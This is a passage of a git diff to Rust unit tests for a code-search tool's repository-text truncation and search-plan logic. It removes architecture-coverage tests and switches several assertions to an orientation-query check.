crate::search_scoring::{ - HybridHitsContext, apply_architecture_cross_source_coverage, architecture_coverage_for_hit, - dedupe_inexact_search_hits_by_display_key, exact_symbol_lexical_fast_path, + HybridHitsContext, dedupe_inexact_search_hits_by_display_key, exact_symbol_lexical_fast_path, exact_symbol_merged_lexical_hybrid_hits, hybrid_hits_for_retrieval_state, hybrid_search_config_for_request, merge_search_hits_by_node_id, primary_source_retention_threshold, should_pretruncate_primary_source_window, - truncate_repo_text_hits_for_query, }; use crate::search_terms::search_plan_terms; use crate::semantic_projection::{ diff --git a/crates/codestory-runtime/src/tests/repo_text.rs b/crates/codestory-runtime/src/tests/repo_text.rs index adbf5f83c..3583b0a3f 100644 --- a/crates/codestory-runtime/src/tests/repo_text.rs +++ b/crates/codestory-runtime/src/tests/repo_text.rs @@ -1,357 +1,12 @@ use super::{ - AppController, CoreNodeId, FileInfo, HashMap, HashSet, Instant, Node, NodeKind, Path, + AppController, CoreNodeId, FileInfo, HashMap, HashSet, Instant, Node, NodeKind, REPO_TEXT_MAX_FILE_BYTES, REPO_TEXT_SCAN_BYTE_CAP, REPO_TEXT_SCAN_FILE_CAP, - REPO_TEXT_SCAN_TIME_CAP_MS, RepoTextScanStatsDto, SearchHitOrigin, SearchPlanAnchorGroupDto, + REPO_TEXT_SCAN_TIME_CAP_MS, RepoTextScanStatsDto, SearchHitOrigin, SearchPlanPromotionStatusDto, SearchRepoTextMode, SearchRequest, Storage, assert_mandatory_retrieval_unavailable, fs, search_plan_anchor_groups, - search_plan_next_actions, search_plan_rejected_hits, search_plan_terms, search_plan_test_hit, - tempdir, truncate_repo_text_hits_for_query, + search_plan_next_actions, search_plan_terms, search_plan_test_hit, tempdir, }; -#[test] -fn architecture_repo_text_window_preserves_coverage_surfaces() { - let query = "Explain how a full indexing run moves from the CLI into runtime orchestration, file discovery, symbol extraction, persistence, and search or snapshot refresh."; - let mut hits = vec![ - search_plan_test_hit( - "runtime-lib", - "crates/codestory-runtime/src/lib.rs", - Path::new("crates/codestory-runtime/src/lib.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "runtime-agent", - "crates/codestory-runtime/src/agent/orchestrator.rs", - Path::new("crates/codestory-runtime/src/agent/orchestrator.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "cli-runtime", - "crates/codestory-cli/src/runtime.rs", - Path::new("crates/codestory-cli/src/runtime.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "runtime-semantic", - "crates/codestory-runtime/src/semantic_doc_text.rs", - Path::new("crates/codestory-runtime/src/semantic_doc_text.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "runtime-symbol", - "crates/codestory-runtime/src/symbol_query.rs", - Path::new("crates/codestory-runtime/src/symbol_query.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "runtime-search", - "crates/codestory-runtime/src/search/engine.rs", - Path::new("crates/codestory-runtime/src/search/engine.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "runtime-search-runtime", - "crates/codestory-runtime/src/search_runtime.rs", - Path::new("crates/codestory-runtime/src/search_runtime.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "runtime-services", - "crates/codestory-runtime/src/services.rs", - Path::new("crates/codestory-runtime/src/services.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "cli-args", - "crates/codestory-cli/src/args.rs", - Path::new("crates/codestory-cli/src/args.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "runtime-browser", - "crates/codestory-runtime/src/browser.rs", - Path::new("crates/codestory-runtime/src/browser.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "indexer-lib", - "crates/codestory-indexer/src/lib.rs", - Path::new("crates/codestory-indexer/src/lib.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "storage-impl", - "crates/codestory-store/src/storage_impl/mod.rs", - Path::new("crates/codestory-store/src/storage_impl/mod.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - ]; - - truncate_repo_text_hits_for_query(query, &mut hits, 10); - let paths = hits - .iter() - .filter_map(|hit| hit.file_path.as_deref()) - .collect::>(); - - assert!(paths.contains(&"crates/codestory-runtime/src/lib.rs")); - assert!(paths.contains(&"crates/codestory-cli/src/runtime.rs")); - assert!(paths.contains(&"crates/codestory-runtime/src/services.rs")); - assert!(paths.contains(&"crates/codestory-indexer/src/lib.rs")); - assert!(paths.contains(&"crates/codestory-store/src/storage_impl/mod.rs")); - assert_eq!(paths.len(), 10); -} - -#[test] -fn architecture_repo_text_window_preserves_non_crate_source_surfaces() { - let query = "Explain how Sourcetrail turns project/source-group configuration into indexing work, then how indexed data is accessed by the application."; - let mut hits = vec![ - search_plan_test_hit( - "custom-command", - "src/lib/project/SourceGroupCustomCommand.cpp", - Path::new("src/lib/project/SourceGroupCustomCommand.cpp"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "wizard-data", - "src/lib_gui/qt/project_wizard/content/QtProjectWizardContentSourceGroupData.cpp", - Path::new( - "src/lib_gui/qt/project_wizard/content/QtProjectWizardContentSourceGroupData.cpp", - ), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "wizard-info", - "src/lib_gui/qt/project_wizard/content/QtProjectWizardContentSourceGroupInfoText.cpp", - Path::new( - "src/lib_gui/qt/project_wizard/content/QtProjectWizardContentSourceGroupInfoText.cpp", - ), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "factory", - "src/lib/project/SourceGroupFactory.cpp", - Path::new("src/lib/project/SourceGroupFactory.cpp"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "factory-custom", - "src/lib/project/SourceGroupFactoryModuleCustom.cpp", - Path::new("src/lib/project/SourceGroupFactoryModuleCustom.cpp"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "python-empty", - "src/lib_python/project/SourceGroupPythonEmpty.cpp", - Path::new("src/lib_python/project/SourceGroupPythonEmpty.cpp"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "factory-cxx", - "src/lib_cxx/project/SourceGroupFactoryModuleCxx.cpp", - Path::new("src/lib_cxx/project/SourceGroupFactoryModuleCxx.cpp"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "wizard-data-h", - "src/lib_gui/qt/project_wizard/content/QtProjectWizardContentSourceGroupData.h", - Path::new( - "src/lib_gui/qt/project_wizard/content/QtProjectWizardContentSourceGroupData.h", - ), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "wizard-info-h", - "src/lib_gui/qt/project_wizard/content/QtProjectWizardContentSourceGroupInfoText.h", - Path::new( - "src/lib_gui/qt/project_wizard/content/QtProjectWizardContentSourceGroupInfoText.h", - ), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "factory-java", - "src/lib_java/project/SourceGroupFactoryModuleJava.cpp", - Path::new("src/lib_java/project/SourceGroupFactoryModuleJava.cpp"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "cdb", - "src/lib_cxx/project/SourceGroupCxxCdb.cpp", - Path::new("src/lib_cxx/project/SourceGroupCxxCdb.cpp"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "storage-access", - "src/lib/data/storage/StorageAccess.h", - Path::new("src/lib/data/storage/StorageAccess.h"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "storage-proxy", - "src/lib/data/storage/StorageAccessProxy.cpp", - Path::new("src/lib/data/storage/StorageAccessProxy.cpp"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - ]; - - truncate_repo_text_hits_for_query(query, &mut hits, 10); - let paths = hits - .iter() - .filter_map(|hit| hit.file_path.as_deref()) - .collect::>(); - - assert!(paths.contains(&"src/lib_cxx/project/SourceGroupCxxCdb.cpp")); - assert!(paths.contains(&"src/lib/data/storage/StorageAccess.h")); - assert!(paths.contains(&"src/lib/data/storage/StorageAccessProxy.cpp")); - assert_eq!(paths.len(), 10); -} - -#[test] -fn search_plan_rejected_hits_exposes_repo_text_coverage_candidates() { - let chosen = search_plan_test_hit( - "project", - "Project::isIndexing", - Path::new("src/lib/project/Project.cpp"), - 92, - SearchHitOrigin::IndexedSymbol, - true, - ); - let anchor_groups = vec![SearchPlanAnchorGroupDto { - anchor: "Project::isIndexing".to_string(), - chosen_symbol: Some(chosen), - supporting_hits: Vec::new(), - promotion_status: SearchPlanPromotionStatusDto::TypedAnchor, - promotion_method: None, - caller_count: 0, - definition_only: false, - no_visible_callers: false, - confidence: "high".to_string(), - reasons: Vec::new(), - }]; - let indexed_hits = vec![search_plan_test_hit( - "storage-access", - "StorageAccess::~StorageAccess", - Path::new("src/lib/data/storage/StorageAccess.h"), - 36, - SearchHitOrigin::IndexedSymbol, - true, - )]; - let repo_text_hits = vec![search_plan_test_hit( - "source-group-cdb", - "src/lib_cxx/project/SourceGroupCxxCdb.cpp", - Path::new("src/lib_cxx/project/SourceGroupCxxCdb.cpp"), - 1, - SearchHitOrigin::TextMatch, - false, - )]; - - let rejected = search_plan_rejected_hits(&anchor_groups, &[], &indexed_hits, &repo_text_hits); - - let repo_text = rejected - .iter() - .find(|hit| hit.origin == SearchHitOrigin::TextMatch) - .expect("repo-text rejected hit should be retained for diagnostics"); - assert_eq!( - repo_text.file_path.as_deref(), - Some("src/lib_cxx/project/SourceGroupCxxCdb.cpp") - ); - assert!( - repo_text.reason.contains("source=repo_text") - && repo_text - .reason - .contains("coverage_key=source_group:configuration:impl") - && repo_text.reason.contains("coverage_score=10"), - "repo-text rejection reason should include coverage provenance: {repo_text:#?}" - ); -} - -#[test] -fn repo_text_window_does_not_diversify_non_architecture_queries() { - let mut hits = vec![ - search_plan_test_hit( - "first", - "first", - Path::new("crates/codestory-runtime/src/lib.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "second", - "second", - Path::new("crates/codestory-indexer/src/lib.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - search_plan_test_hit( - "third", - "third", - Path::new("crates/codestory-store/src/storage_impl/mod.rs"), - 1, - SearchHitOrigin::TextMatch, - false, - ), - ]; - - truncate_repo_text_hits_for_query("run_index", &mut hits, 2); - - assert_eq!( - hits.iter() - .map(|hit| hit.node_id.0.as_str()) - .collect::>(), - vec!["first", "second"] - ); -} - #[test] fn search_plan_repo_text_owner_identifier_does_not_promote_member_symbol() { let temp = tempdir().expect("create temp dir"); @@ -388,6 +43,7 @@ fn search_plan_repo_text_owner_identifier_does_not_promote_member_symbol() { &[repo_hit], &[member_hit], &HashMap::new(), + None, ); assert!( @@ -438,6 +94,7 @@ fn search_plan_repo_text_exact_terminal_identifier_promotes_member_symbol() { &[repo_hit], &[member_hit], &HashMap::new(), + None, ); assert!( diff --git a/crates/codestory-runtime/src/tests/search_plan.rs b/crates/codestory-runtime/src/tests/search_plan.rs index f13281f0e..4b2b7bf75 100644 --- a/crates/codestory-runtime/src/tests/search_plan.rs +++ b/crates/codestory-runtime/src/tests/search_plan.rs @@ -1,11 +1,19 @@ use super::{ - HashMap, Path, SearchHitOrigin, SearchPlanActivePathEvidence, SearchPlanChannelDto, - apply_architecture_cross_source_coverage, architecture_coverage_for_hit, - architecture_query_intents, fs, same_search_file, search_plan_anchor_groups, - search_plan_eligible, search_plan_path_is_test_or_bench, + HashMap, HashSet, Path, SearchHitOrigin, SearchPlanActivePathEvidence, SearchPlanChannelDto, + fs, orientation_query, same_search_file, search_plan_anchor_groups, search_plan_eligible, + search_plan_path_is_test_or_bench, search_plan_rejected_hits, search_plan_runtime_call_is_speculative, search_plan_subqueries, search_plan_terms, search_plan_test_hit, tempdir, }; +use crate::root_rank::{CallDegrees, EntryEvidence, diversify_root_order}; +use crate::search_plan::search_orientation_report; +use crate::search_terms::search_plan_query_token_closure; +use crate::symbol_query::{ + OrientationEvidence, OrientationHitEvidence, compare_search_hits_with_project_root, +}; +use codestory_contracts::api::{ + GroundingOrientationConfidenceDto, GroundingOrientationUncertaintyDto, SearchHit, +}; #[test] fn broad_architecture_search_plan_terms_and_subqueries_are_bounded() { @@ -41,12 +49,11 @@ fn broad_architecture_search_plan_terms_and_subqueries_are_bounded() { "natural-language filler should be visible as dropped terms: {:?}", terms.dropped ); - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - assert!(!intents.is_empty(), "query should have architecture intent"); - let subqueries = search_plan_subqueries(query, &terms, &intents); + assert!( + orientation_query(query), + "structure-shaped question should enter the orientation regime" + ); + let subqueries = search_plan_subqueries(query, &terms); assert!( (3..=8).contains(&subqueries.len()), "subqueries should be bounded: {subqueries:#?}" @@ -65,114 +72,12 @@ fn broad_architecture_search_plan_terms_and_subqueries_are_bounded() { ); } -#[test] -fn sourcetrail_style_architecture_prompt_expands_flow_roles() { - let query = "Explain how Sourcetrail turns project/source-group configuration into indexing work, then how indexed data is accessed by the application. Cite the source files that support the path."; - let terms = search_plan_terms(query); - assert!( - terms - .dropped - .iter() - .any(|term| term.term.eq_ignore_ascii_case("cite")), - "citation instruction should not become a named anchor: {:?}", - terms.dropped - ); - for expected in [ - "BuildIndex", - "SourceGroup", - "IndexerCommand", - "build", - "index", - "storage", - "persistence", - ] { - assert!( - terms - .extracted - .iter() - .any(|term| term.eq_ignore_ascii_case(expected)), - "expected inferred architecture term `{expected}` in {:?}", - terms.extracted - ); - } - - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - assert!(!intents.is_empty(), "query should have architecture intent"); - - let subqueries = search_plan_subqueries(query, &terms, &intents); - assert!( - !subqueries - .iter() - .any(|subquery| subquery.role == "named_anchor" && subquery.query == "Cite"), - "generic citation wording should not consume a named-anchor slot: {subqueries:#?}" - ); - for expected_role in [ - "build_index_entrypoint", - "source_group_configuration", - "indexing_work", - "storage_access_surface", - ] { - assert!( - subqueries - .iter() - .any(|subquery| subquery.role == expected_role), - "expected role subquery `{expected_role}` in {subqueries:#?}" - ); - } - let typed_anchor_terms = subqueries - .iter() - .find(|subquery| subquery.role == "typed_anchor_terms") - .map(|subquery| subquery.query.as_str()) - .expect("typed anchor terms"); - for expected in ["BuildIndex", "SourceGroup", "IndexerCommand"] { - assert!( - typed_anchor_terms.contains(expected), - "typed anchor terms should contain `{expected}`, got `{typed_anchor_terms}`" - ); - } -} - -#[test] -fn event_output_architecture_prompt_expands_processor_abstraction() { - let query = "Explain how codex exec --json flows from the top-level CLI into the exec runtime, app-server thread and turn start requests, and JSONL event output."; - let terms = search_plan_terms(query); - assert!( - terms.extracted.iter().any(|term| term == "EventProcessor"), - "event-output architecture prompt should infer source-truth abstraction: {:?}", - terms.extracted - ); - - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - assert!(!intents.is_empty(), "query should have architecture intent"); - - let subqueries = search_plan_subqueries(query, &terms, &intents); - let typed_anchor_terms = subqueries - .iter() - .find(|subquery| subquery.role == "typed_anchor_terms") - .map(|subquery| subquery.query.as_str()) - .expect("typed anchor terms"); - assert!( - typed_anchor_terms.contains("EventProcessor"), - "typed anchor terms should include EventProcessor, got `{typed_anchor_terms}`" - ); -} - #[test] fn multi_anchor_agent_question_prioritizes_named_anchor_subquery_terms() { let query = "Explain how ProjectAlpha turns configuration into processing work, then how processed data is accessed by the application. Anchor the answer around ConfigGroup, WorkerRunner, and DataAccess."; - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); assert!( - intents.iter().any(|intent| intent == "orchestration"), - "explain-how architecture question should trigger a search plan: {intents:#?}" + orientation_query(query), + "explain-how question should enter the orientation regime" ); let terms = search_plan_terms(query); for expected in ["ConfigGroup", "WorkerRunner", "DataAccess"] { @@ -180,839 +85,107 @@ fn multi_anchor_agent_question_prioritizes_named_anchor_subquery_terms() { terms.extracted.iter().any(|term| term == expected), "expected named anchor `{expected}` in extracted terms: {:?}", terms.extracted - ); - } - - let subqueries = search_plan_subqueries(query, &terms, &intents); - let typed_anchor_terms = subqueries - .iter() - .find(|subquery| subquery.role == "typed_anchor_terms") - .map(|subquery| subquery.query.as_str()) - .expect("typed anchor subquery"); - for expected in ["ConfigGroup", "WorkerRunner", "DataAccess"] { - assert!( - subqueries - .iter() - .any(|subquery| subquery.role == "named_anchor" && subquery.query == expected), - "expected named-anchor subquery for `{expected}`: {subqueries:#?}" - ); - assert!( - typed_anchor_terms.contains(expected), - "typed anchor subquery should prioritize named anchors; got `{typed_anchor_terms}`" - ); - } -} - -#[test] -fn search_plan_still_runs_for_seed_anchor_drill_queries_with_exact_hits() { - let query = "Explain how a full indexing run moves through the runtime. Seed anchors: run_index, RuntimeContext::ensure_open_from_summary, WorkspaceIndexer::run"; - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - assert!(!intents.is_empty(), "query should have architecture intent"); - - assert!( - search_plan_eligible(query, 3, &intents), - "drill seed-anchor queries need a plan even when the anchors produce exact symbol hits" - ); - - let same_query_without_seed_anchors = "Explain how run_index RuntimeContext::ensure_open_from_summary WorkspaceIndexer::run moves through the runtime."; - assert!( - !search_plan_eligible(same_query_without_seed_anchors, 3, &intents), - "ordinary exact-symbol queries should keep the exact-hit suppression" - ); -} - -#[test] -fn broad_explain_how_search_plan_survives_generic_exact_hits() { - let query = "Explain how a full indexing run moves from the CLI into runtime orchestration, file discovery, symbol extraction, persistence, and search or snapshot refresh."; - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - assert!(!intents.is_empty(), "query should have architecture intent"); - - assert!( - search_plan_eligible(query, 7, &intents), - "generic exact hits such as CLI should not suppress broad architecture search plans" - ); - let terms = search_plan_terms(query); - let roles = search_plan_subqueries(query, &terms, &intents) - .into_iter() - .map(|subquery| subquery.role) - .collect::>(); - for expected in [ - "workspace_discovery", - "symbol_extraction", - "persistence_surface", - ] { - assert!( - roles.iter().any(|role| role == expected), - "broad explain-how prompt should expand architecture role `{expected}`: {roles:#?}" - ); - } - - let ordinary_exact_query = - "Explain how run_index RuntimeContext::ensure_open_from_summary moves through runtime."; - assert!( - !search_plan_eligible(ordinary_exact_query, 2, &intents), - "ordinary exact-symbol explanations should still stay exact-first unless they name enough architecture surfaces" - ); -} - -#[test] -fn search_plan_preserves_seed_anchor_line_exactly() { - let query = "Explain how a full indexing run moves through the runtime. Seed anchors: run_index, run_index_once, RuntimeContext::ensure_open_from_summary, IndexService::run_indexing_blocking, AppController::run_indexing_blocking_inner, index_incremental, WorkspaceManifest::build_execution_plan, WorkspaceIndexer::run, WorkspaceIndexer::flush_projection_batch"; - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - assert!(!intents.is_empty(), "query should have architecture intent"); - - let terms = search_plan_terms(query); - let subqueries = search_plan_subqueries(query, &terms, &intents); - for expected in [ - "run_index", - "run_index_once", - "RuntimeContext::ensure_open_from_summary", - "IndexService::run_indexing_blocking", - "AppController::run_indexing_blocking_inner", - "index_incremental", - "WorkspaceManifest::build_execution_plan", - "WorkspaceIndexer::run", - "WorkspaceIndexer::flush_projection_batch", - ] { - assert!( - subqueries - .iter() - .any(|subquery| subquery.role == "named_anchor" && subquery.query == expected), - "expected exact seed-anchor subquery for `{expected}`: {subqueries:#?}" - ); - } -} - -#[test] -fn public_surface_question_keeps_short_pascal_case_named_anchor() { - let query = "Explain how public writing/social surfaces connect to Payload collections, comment auth, and the elsewhere feed. Anchor the answer around Posts, getElsewhereFeed, and getCommentAuth."; - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - assert!(!intents.is_empty(), "query should have architecture intent"); - - let terms = search_plan_terms(query); - let subqueries = search_plan_subqueries(query, &terms, &intents); - for expected in ["Posts", "getElsewhereFeed", "getCommentAuth"] { - assert!( - subqueries - .iter() - .any(|subquery| subquery.role == "named_anchor" && subquery.query == expected), - "expected named-anchor subquery for `{expected}`: {subqueries:#?}" - ); - } -} - -#[test] -fn payload_content_flow_prompt_expands_source_truth_anchors() { - let query = "Explain how Root & Runtime public writing and social surfaces connect through Payload collections, post rendering, comment auth/submission, RSS, and the Elsewhere feed. Cite the source files that support the path."; - let terms = search_plan_terms(query); - for noisy in ["root", "runtime"] { - assert!( - !terms - .extracted - .iter() - .any(|term| term.eq_ignore_ascii_case(noisy)), - "brand phrase term `{noisy}` should not dominate Payload content-flow search: {:?}", - terms.extracted - ); - assert!( - terms - .dropped - .iter() - .any(|term| term.term.eq_ignore_ascii_case(noisy) - && term.reason == "brand_phrase_in_content_flow"), - "brand phrase term `{noisy}` should be explained as dropped: {:?}", - terms.dropped - ); - } - for expected in [ - "content config", - "collection config", - "Posts", - "Comments", - "social entries", - "post page", - "content client", - "comment submission", - "comment auth", - "feed", - ] { - assert!( - terms - .extracted - .iter() - .any(|term| term.eq_ignore_ascii_case(expected)), - "expected Payload content-flow term `{expected}` in {:?}", - terms.extracted - ); - } - - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - assert!(!intents.is_empty(), "query should have architecture intent"); - - let subqueries = search_plan_subqueries(query, &terms, &intents); - let typed_anchor_terms = subqueries - .iter() - .find(|subquery| subquery.role == "typed_anchor_terms") - .map(|subquery| subquery.query.as_str()) - .expect("typed anchor terms"); - for expected in ["Posts", "Comments", "feed"] { - assert!( - typed_anchor_terms.contains(expected), - "typed anchor terms should include `{expected}`, got `{typed_anchor_terms}`" - ); - } - assert!( - subqueries.iter().any(|subquery| { - subquery.role == "content_surface" - && subquery.query.to_ascii_lowercase().contains("comments") - }), - "content role subquery should preserve comment wording: {subqueries:#?}" - ); - for expected_role in [ - "collection_config_surface", - "comment_submission_surface", - "public_feed_surface", - ] { - assert!( - subqueries - .iter() - .any(|subquery| subquery.role == expected_role), - "expected role subquery `{expected_role}` in {subqueries:#?}" - ); - } - let comment_role_query = subqueries - .iter() - .find(|subquery| subquery.role == "comment_submission_surface") - .map(|subquery| subquery.query.to_ascii_lowercase()) - .expect("comment submission role query"); - for expected in ["comment", "auth", "submission"] { - assert!( - comment_role_query.contains(expected), - "comment role query should contain `{expected}`, got `{comment_role_query}`" - ); - } -} - -#[test] -fn codex_exec_json_prompt_expands_source_truth_anchors() { - let query = "Explain how `codex exec --json` flows from the top-level CLI into the exec runtime, app-server thread and turn start requests, and JSONL event output. Cite the source files that support the path."; - let terms = search_plan_terms(query); - for expected in [ - "EventProcessor", - "exec cli", - "exec runtime", - "exec session", - "event processor", - "event output", - "thread start", - "turn start", - ] { - assert!( - terms - .extracted - .iter() - .any(|term| term.eq_ignore_ascii_case(expected)), - "expected Codex exec-flow term `{expected}` in {:?}", - terms.extracted - ); - } - - let intents = architecture_query_intents(query) - .into_iter() - .map(|intent| intent.label().to_string()) - .collect::>(); - assert!(!intents.is_empty(), "query should have architecture intent"); - - let subqueries = search_plan_subqueries(query, &terms, &intents); - let typed_anchor_terms = subqueries - .iter() - .find(|subquery| subquery.role == "typed_anchor_terms") - .map(|subquery| subquery.query.as_str()) - .expect("typed anchor terms"); - assert!( - typed_anchor_terms.contains("EventProcessor"), - "typed anchor terms should include EventProcessor, got `{typed_anchor_terms}`" - ); - for expected_role in ["exec_cli_surface", "exec_event_output_surface"] { - assert!( - subqueries - .iter() - .any(|subquery| subquery.role == expected_role), - "expected role subquery `{expected_role}` in {subqueries:#?}" - ); - } - let exec_cli_query = subqueries - .iter() - .find(|subquery| subquery.role == "exec_cli_surface") - .map(|subquery| subquery.query.to_ascii_lowercase()) - .expect("exec CLI role query"); - for expected in ["exec", "cli", "runtime"] { - assert!( - exec_cli_query.contains(expected), - "exec CLI role query should contain `{expected}`, got `{exec_cli_query}`" - ); - } - let event_output_query = subqueries - .iter() - .find(|subquery| subquery.role == "exec_event_output_surface") - .map(|subquery| subquery.query.to_ascii_lowercase()) - .expect("event output role query"); - for expected in ["event", "output", "processor"] { - assert!( - event_output_query.contains(expected), - "event-output role query should contain `{expected}`, got `{event_output_query}`" - ); - } -} - -#[test] -fn architecture_cross_source_coverage_promotes_concrete_role_representatives() { - let query = "Explain how Sourcetrail turns project/source-group configuration into indexing work, then how indexed data is accessed by the application."; - let mut indexed_hits = vec![ - search_plan_test_hit( - "persistent-h", - "StorageAccess", - Path::new("src/lib/data/storage/PersistentStorage.h"), - 17, - SearchHitOrigin::IndexedSymbol, - true, - ), - search_plan_test_hit( - "generic-indexer", - "Indexer", - Path::new("src/lib/data/indexer/Indexer.h"), - 1, - SearchHitOrigin::IndexedSymbol, - true, - ), - search_plan_test_hit( - "persistent-cpp", - "PersistentStorage::PersistentStorage", - Path::new("src/lib/data/storage/PersistentStorage.cpp"), - 32, - SearchHitOrigin::IndexedSymbol, - true, - ), - search_plan_test_hit( - "project", - "Project::isIndexing", - Path::new("src/lib/project/Project.cpp"), - 92, - SearchHitOrigin::IndexedSymbol, - true, - ), - ]; - for index in 0..6 { - indexed_hits.push(search_plan_test_hit( - &format!("generic-indexer-{index}"), - "Indexer", - Path::new(&format!("src/lib/data/indexer/Indexer{index}.h")), - 1, - SearchHitOrigin::IndexedSymbol, - true, - )); - } - let mut indexed_candidates = indexed_hits.clone(); - indexed_candidates.push(search_plan_test_hit( - "storage-access-h", - "StorageAccess::~StorageAccess", - Path::new("src/lib/data/storage/StorageAccess.h"), - 36, - SearchHitOrigin::IndexedSymbol, - true, - )); - - let mut repo_text_hits = vec![search_plan_test_hit( - "cdb-h", - "src/lib_cxx/project/SourceGroupCxxCdb.h", - Path::new("src/lib_cxx/project/SourceGroupCxxCdb.h"), - 1, - SearchHitOrigin::TextMatch, - false, - )]; - for index in 0..9 { - repo_text_hits.push(search_plan_test_hit( - &format!("wizard-{index}"), - "src/lib_gui/qt/project_wizard/content/QtProjectWizardContentSourceGroupData.cpp", - Path::new(&format!( - "src/lib_gui/qt/project_wizard/content/QtProjectWizardContentSourceGroupData{index}.cpp" - )), - 1, - SearchHitOrigin::TextMatch, - false, - )); - } - let mut repo_text_candidates = repo_text_hits.clone(); - repo_text_candidates.push(search_plan_test_hit( - "indexer-java", - "src/lib_java/data/indexer/IndexerJava.cpp", - Path::new("src/lib_java/data/indexer/IndexerJava.cpp"), - 15, - SearchHitOrigin::TextMatch, - false, - )); - - apply_architecture_cross_source_coverage( - query, - &mut indexed_hits, - &mut repo_text_hits, - &indexed_candidates, - &repo_text_candidates, - 10, - ); - - let indexed_paths = indexed_hits - .iter() - .filter_map(|hit| hit.file_path.as_deref()) - .collect::>(); - let repo_text_paths = repo_text_hits - .iter() - .filter_map(|hit| hit.file_path.as_deref()) - .collect::>(); - - for expected in [ - "src/lib/project/Project.cpp", - "src/lib/data/storage/PersistentStorage.cpp", - "src/lib/data/storage/PersistentStorage.h", - "src/lib/data/storage/StorageAccess.h", - ] { - assert!( - indexed_paths.contains(&expected), - "expected indexed path `{expected}` in {indexed_paths:#?}" - ); - } - for expected in [ - "src/lib_cxx/project/SourceGroupCxxCdb.h", - "src/lib_java/data/indexer/IndexerJava.cpp", - ] { - assert!( - repo_text_paths.contains(&expected), - "expected repo-text path `{expected}` in {repo_text_paths:#?}" - ); - } - assert_eq!(indexed_hits.len(), 10); - assert_eq!(repo_text_hits.len(), 10); -} - -#[test] -fn architecture_cross_source_coverage_uses_replacement_budget_for_actual_admissions() { - let query = "Explain how Sourcetrail turns project/source-group configuration into indexing work, then how indexed data is accessed by the application."; - let mut indexed_hits = Vec::new(); - let indexed_candidates = Vec::new(); - let mut repo_text_hits = (0..10) - .map(|index| { - search_plan_test_hit( - &format!("generic-source-group-{index}"), - &format!("src/lib/project/SourceGroupGeneric{index}.cpp"), - Path::new(&format!("src/lib/project/SourceGroupGeneric{index}.cpp")), - 1, - SearchHitOrigin::TextMatch, - false, - ) - }) - .collect::>(); - let mut repo_text_candidates = repo_text_hits.clone(); - for (id, path) in [ - ( - "source-group-cdb-h", - "src/lib_cxx/project/SourceGroupCxxCdb.h", - ), - ( - "source-group-cdb-cpp", - "src/lib_cxx/project/SourceGroupCxxCdb.cpp", - ), - ( - "indexer-command-cxx-cpp", - "src/lib_cxx/data/indexer/IndexerCommandCxx.cpp", - ), - ( - "indexer-command-cxx-h", - "src/lib_cxx/data/indexer/IndexerCommandCxx.h", - ), - ("indexer-java", "src/lib_java/data/indexer/IndexerJava.cpp"), - ( - "storage-proxy", - "src/lib/data/storage/StorageAccessProxy.cpp", - ), - ] { - repo_text_candidates.push(search_plan_test_hit( - id, - path, - Path::new(path), - 1, - SearchHitOrigin::TextMatch, - false, - )); - } - - apply_architecture_cross_source_coverage( - query, - &mut indexed_hits, - &mut repo_text_hits, - &indexed_candidates, - &repo_text_candidates, - 10, - ); - - let repo_text_paths = repo_text_hits - .iter() - .filter_map(|hit| hit.file_path.as_deref()) - .collect::>(); - for expected in [ - "src/lib_cxx/project/SourceGroupCxxCdb.cpp", - "src/lib_java/data/indexer/IndexerJava.cpp", - "src/lib/data/storage/StorageAccessProxy.cpp", - ] { - assert!( - repo_text_paths.contains(&expected), - "expected high-coverage late candidate `{expected}` in {repo_text_paths:#?}" - ); - } - assert_eq!(repo_text_paths.len(), 10); -} - -#[test] -fn architecture_coverage_promotes_exec_flow_source_surfaces() { - let expected = [ - ( - "codex-rs/cli/src/main.rs", - 